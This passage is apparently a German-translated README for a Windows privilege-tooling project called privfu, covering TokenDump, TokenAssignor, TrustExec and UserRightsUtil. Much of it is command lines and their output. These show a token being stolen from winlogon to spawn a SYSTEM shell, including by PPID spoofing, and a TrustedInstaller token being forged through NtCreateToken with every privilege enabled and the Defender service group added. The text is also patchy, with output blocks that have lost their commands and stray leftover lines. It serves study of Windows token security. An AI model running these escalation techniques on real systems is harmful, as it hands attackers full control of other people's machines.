NAMED CAPABILITIES\VisualElementsSystem                                    Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled
NAMED CAPABILITIES\ActivityData                                            Enabled
NAMED CAPABILITIES\CloudStore                                              Enabled
NAMED CAPABILITIES\TargetedContent                                         Enabled
NAMED CAPABILITIES\StoreAppInstall                                         Enabled
NAMED CAPABILITIES\StoreLicenseManagement                                  Enabled
NAMED CAPABILITIES\CortanaSettings                                         Enabled
NAMED CAPABILITIES\DependencyTarget                                        Enabled
NAMED CAPABILITIES\SearchSettings                                          Enabled
NAMED CAPABILITIES\CellularData                                            Enabled
NAMED CAPABILITIES\WifiData                                                Enabled
PACKAGE CAPABILITY\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy Enabled
NAMED CAPABILITIES\AccessoryManager                                        Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled


DACL INFORMATION
----------------

Account Name                                            Access                      Flags Type
======================================================= =========================== ===== =============
dev22h2\user                                            GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                                     GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425                    GenericExecute, GenericRead None  AccessAllowed
microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy GenericAll                  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

PRIVILEGES INFORMATION
----------------------

Privilege Name                            State
========================================= =========================
SeIncreaseQuotaPrivilege                  Disabled
SeSecurityPrivilege                       Disabled
SeTakeOwnershipPrivilege                  Disabled
SeLoadDriverPrivilege                     Disabled
SeSystemProfilePrivilege                  Disabled
SeSystemtimePrivilege                     Disabled
SeProfileSingleProcessPrivilege           Disabled
SeIncreaseBasePriorityPrivilege           Disabled
SeCreatePagefilePrivilege                 Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeShutdownPrivilege                       Disabled
SeDebugPrivilege                          Disabled
SeSystemEnvironmentPrivilege              Disabled
SeChangeNotifyPrivilege                   EnabledByDefault, Enabled
SeRemoteShutdownPrivilege                 Disabled
SeUndockPrivilege                         Disabled
SeManageVolumePrivilege                   Disabled
SeImpersonatePrivilege                    EnabledByDefault, Enabled
SeCreateGlobalPrivilege                   EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege             Disabled
SeTimeZonePrivilege                       Disabled
SeCreateSymbolicLinkPrivilege             Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                                        Mandatory, EnabledByDefault, Enabled, Owner
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\High Mandatory Level                          Integrity, IntegrityEnabled


DACL INFORMATION
----------------

Account Name                         Access                      Flags Type
==================================== =========================== ===== =============
BUILTIN\Administrators               GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                  GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425 GenericExecute, GenericRead None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

Wenn Sie den Handle-Wert in einem bestimmten Prozess als `-v`-Option und die PID als `-p`-Option sowie die `-s`-Flagge festlegen, erhält dieses Tool detaillierte Informationen für den Handle wie folgt:```
C:\Dev>.\TokenDump.exe -s -p 7012 -v 0x23C -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to dump token handle information.

[Token Information for Handle 0x23C of msdtc.exe (PID: 7012)]

Token User          : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Owner         : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Primary Group       : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Type          : Primary
Impersonation Level : Anonymous
Token ID            : 0x000000000007DF17
Authentication ID   : 0x00000000000003E4
Original ID         : 0x00000000000003E7
Modified ID         : 0x000000000007DEE2
Integrity Level     : System
Protection Level    : N/A
Session ID          : 0
Elevation Type      : Default
Mandatory Policy    : NoWriteUp, NewProcessMin
Elevated            : False
AppContainer        : False
TokenFlags          : IsFiltered, NotLow
Has Linked Token    : False
Token Source        : N/A
Token Source ID     : N/A


    PRIVILEGES INFORMATION
    ----------------------

    Privilege Name          State
    ======================= =========================
    SeChangeNotifyPrivilege EnabledByDefault, Enabled
    SeCreateGlobalPrivilege EnabledByDefault, Enabled


    GROUP INFORMATION
    -----------------

    Group Name                             Attributes
    ====================================== ====================================================
    Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
    Everyone                               Mandatory, EnabledByDefault, Enabled
    BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
    CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
    NT SERVICE\MSDTC                       EnabledByDefault, Enabled, Owner
    NT AUTHORITY\LogonSessionId_0_515780   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
    LOCAL                                  Mandatory, EnabledByDefault, Enabled


    DACL INFORMATION
    ----------------

    Account Name        Access      Flags Type
    =================== =========== ===== =============
    NT AUTHORITY\SYSTEM GenericAll  None  AccessAllowed
    OWNER RIGHTS        ReadControl None  AccessAllowed
    NT SERVICE\MSDTC    GenericAll  None  AccessAllowed


    SECURITY ATTRIBUTES INFORMATION
    -------------------------------

    [*] TSA://ProcUnique
        Flags : NonInheritable, Unique
        Type  : UInt64
            Value[0x00] : 0x0000000000000070
            Value[0x01] : 0x000000000007DF18


[*] Done.

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeAssignPrimaryTokenPrivilege Disabled
SeTcbPrivilege                EnabledByDefault, Enabled
SeSecurityPrivilege           Disabled
SeSystemProfilePrivilege      EnabledByDefault, Enabled
SeDebugPrivilege              EnabledByDefault, Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeImpersonatePrivilege        EnabledByDefault, Enabled
SeCreateGlobalPrivilege       EnabledByDefault, Enabled


GROUP INFORMATION
-----------------

Group Name                             Attributes
====================================== ====================================================
Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
Everyone                               Mandatory, EnabledByDefault, Enabled
BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
NT SERVICE\DiagTrack                   EnabledByDefault, Enabled, Owner
NT AUTHORITY\LogonSessionId_0_180260   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL                                  Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                 EnabledByDefault, Enabled, Owner


DACL INFORMATION
----------------

Account Name         Access      Flags Type
==================== =========== ===== =============
NT AUTHORITY\SYSTEM  GenericAll  None  AccessAllowed
OWNER RIGHTS         ReadControl None  AccessAllowed
NT SERVICE\DiagTrack GenericAll  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000047
        Value[0x01] : 0x000000000002C0FA

## TokenAssignor

[Back to Top](#privfu)

[Project](https://github.com/daem0nc0re/privfu/blob/main/TokenAssignor)

Dieses Werkzeug dient dazu, zu lernen, wie man einen primary token zuweist:```
PS C:\Dev> .\TokenAssignor.exe

TokenAssignor - Tool to execute token assigned process.

Usage: TokenAssignor.exe [Options]

        -h, --help    : Displays this help message.
        -c, --command : Specifies a command to execute. Default is cmd.exe.
        -m, --method  : Specifies a method ID (0 - 3).
        -p, --pid     : Specifies a source PID for token stealing.

[!] -m option is required.

270      13     2452      10108       0.33    688   1 winlogon

Wenn die `-m`-Option auf `1` gesetzt ist, versucht dieses Tool, einen angehaltenen Prozess zu erstellen und das primäre Token durch ein gestohlenes Token zu ersetzen.
Diese Methode kann aufgrund einer Kernel-Einschränkung nicht zum Ändern der Sitzungs-ID verwendet werden.
Der Kernel erzwingt, dass die Sitzungs-ID des Tokens mit der Sitzungs-ID für `_EPROCESS` übereinstimmt:```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 1

[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x2C8).
[+] Got a impersonation token from winlogon.exe (Handle = 0x2D8).
[+] Impersonation as winlogon.exe is successful.
[+] Suspended "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9968).
[*] Current user of the suspended process is DESKTOP-5OHMOBJ\user (SID: S-1-5-21-1955100404-698441589-1496171011-1001)
[+] Primary token for the suspended process is updated successfully.
[*] Current user of the suspended process is NT AUTHORITY\SYSTEM (SID: S-1-5-18)
[*] Resuming the suspended process.
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

Wenn die Option `-m` auf `3` gesetzt ist, wird ein neuer Token-zugewiesener Prozess mit der PPID-Spoofing-Methode erstellt:```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 3

[+] SeDebugPrivilege is enabled successfully.
[+] Got a handle from PID 688 (Handle = 0x2C4).
[+] Thread attribute is built successfully.
[+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 4852).
[*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

    -h, --help        : Displays this help message.
    -l, --lookup      : Flag to lookup account name or SID.
    -n, --new-console : Flag to create new console. Use with -x flag.
    -x, --exec        : Flag to execute command.
    -a, --account     : Specifies account name to lookup.
    -c, --command     : Specifies command to execute. Default is cmd.exe.
    -e, --extra       : Specifies command to execute. Default is cmd.exe.
    -m, --method      : Specifies method ID. Default is 0 (NtCreateToken method).
    -s, --sid         : Specifies SID to lookup.

    + 0 - Leverages NtCreateToken syscall.
    + 1 - Leverages virtual logon.
    + 2 - Leverages service logon.
    + 3 - Leverages S4U logon.
    + 4 - Leverages TrustedInstaller service.

Für dieses Modul sind 2 Techniken implementiert.
Wir können eine Methode mit der Option `-m` angeben.
Der Wert für die Option `-m` kann eine Ganzzahl von `0` bis `4` sein.
Zum Beispiel, wenn Sie die Option `-m` auf `0` setzen, versucht dieses Tool, das `TrustedInstaller`-Token mit `NtCreateToken` zu erhalten:```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0xE8).
[+] Got a token assigned process (PID: 2832).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeCreateTokenPrivilege                    Create a token object                                              Enabled
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeSyncAgentPrivilege                      Synchronize directory service data                                 Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
SeRelabelPrivilege                        Modify an object label                                             Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Dev> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                            Attributes
====================================== ================ ============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                        Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                   Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                   Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384

Jede andere Methode als die TrustedInstaller-Dienstmethode (ID für die Option `-m` ist `4`) akzeptiert zusätzliche Gruppen-SIDs mit der Option `-e`.
Das Wertformat für die Option `-e` muss eine SDDL-SID-Zeichenfolge sein.
Als Trennzeichen für die SID-Zeichenfolge können Sie ein Komma wie folgt verwenden:```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell -e S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736,S-1-5-32-551

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0x30C).
[+] Got a token assigned process (PID: 17500).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                             Attributes
====================================== ================ =============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551                                                    Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                    Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464  Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                    
NT SERVICE\WinDefend                   Well-known group S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 Enabled by default, Enabled group

## UserRightsUtil

[Zurück zum Anfang](#privfu)

[Projekt](https://github.com/daem0nc0re/privfu/blob/main/UserRightsUtil)

Dieses Tool dient zum Verwalten von Benutzerrechten ohne `secpol.msc`.
Befehle außer `lookup` erfordern Administratorrechte:```
C:\dev>UserRightsUtil.exe

UserRightsUtil - User rights management utility.

Usage: UserRightsUtil.exe [Options]

        -h, --help   : Displays this help message.
        -m, --module : Specifies module name.

Available Modules:

        + enum   - Enumerate user rights for specific account.
        + find   - Find accounts have a specific user right.
        + lookup - Lookup account's SID.
        + manage - Grant or revoke user rights.

[*] To see help for each modules, specify "-m <Module> -h" as arguments.

[!] -m option is required.

Wenn Sie den Domain-Namen nicht mit der Option `-d` angeben, verwenden Sie den lokalen Computernamen als Domain-Namen:```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m enum -u guest

[>] Trying to enumerate user rights.
    |-> Username : CL01\Guest
    |-> SID      : S-1-5-21-2659926013-4203293582-4033841475-501
[+] Got 3 user right(s).
    |-> SeInteractiveLogonRight
    |-> SeDenyInteractiveLogonRight
    |-> SeDenyNetworkLogonRight
[*] Done.

Um verfügbare Werte für die Option `-r` anzuzeigen, verwenden Sie die Option `-l`:```
C:\dev>UserRightsUtil.exe -m find -l

Available values for --right option:
        + TrustedCredManAccess           : Specfies SeTrustedCredManAccessPrivilege.
        + NetworkLogon                   : Specfies SeNetworkLogonRight.
        + Tcb                            : Specfies SeTcbPrivilege.
        + MachineAccount                 : Specfies SeMachineAccountPrivilege.
        + IncreaseQuota                  : Specfies SeIncreaseQuotaPrivilege.
        + InteractiveLogon               : Specfies SeInteractiveLogonRight.
        + RemoteInteractiveLogon         : Specfies SeRemoteInteractiveLogonRight.
        + Backup                         : Specfies SeBackupPrivilege.

--snip--

Wenn Sie keinen Domainnamen mit der Option `-d` angeben, verwenden Sie den lokalen Computernamen als Domainnamen:```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m lookup -u admin

[*] Result:
    |-> Account Name : CL01\admin
    |-> SID          : S-1-5-21-2659926013-4203293582-4033841475-500
    |-> Account Type : SidTypeUser

Um ein Benutzerrecht zu entziehen, geben Sie ein Benutzerrecht als Wert für die Option `-r` an:```
C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[+] Found 1 user(s).
    |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser)
[*] Done.


C:\dev>UserRightsUtil.exe -m manage -r tcb -d contoso -u administrator

[>] Target account information:
    |-> Username : CONTOSO\Administrator
    |-> SID      : S-1-5-21-3654360273-254804765-2004310818-500
[>] Trying to revoke SeTcbPrivilege
[+] SeTcbPrivilege is revoked successfully.

C:\de>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[-] No users.
[*] Done.

## Reference

[Back to Top](#privfu)

- [Priv2Admin](https://github.com/gtworek/Priv2Admin) und [PSBits](https://github.com/gtworek/PSBits) von [Grzegorz Tworek](https://twitter.com/0gtweet)
- [Abusing Token Privileges For LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) von [Bryan Alexander](https://twitter.com/dronesec) und [Steve Breen](https://twitter.com/breenmachine)
- [whoami /priv](https://github.com/decoder-it/whoami-priv-Hackinparis2019) von [Andrea Pierini](https://twitter.com/decoder_it)
- [HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) von [Ashfaq Ansari](https://twitter.com/hacksysteam)


## Acknowledgments

[Back to Top](#privfu)

Danke für deine Ratschläge zur WinDbg-Erweiterungsprogrammierung:

- Pavel Yosifovich ([@zodiacon](https://twitter.com/zodiacon)) 

Danke für deine bemerkenswerte Forschung:

- Grzegorz Tworek ([@0gtweet](https://twitter.com/0gtweet))
- Bryan Alexander ([@dronesec](https://twitter.com/dronesec))
- Steve Breen ([@breenmachine](https://twitter.com/breenmachine))
- Andrea Pierini ([@decoder_it](https://twitter.com/decoder_it))

Danke für die Veröffentlichung deines Beispiel-Kernel-Treibers:

- Ashfaq Ansari ([@HackSysTeam](https://twitter.com/hacksysteam))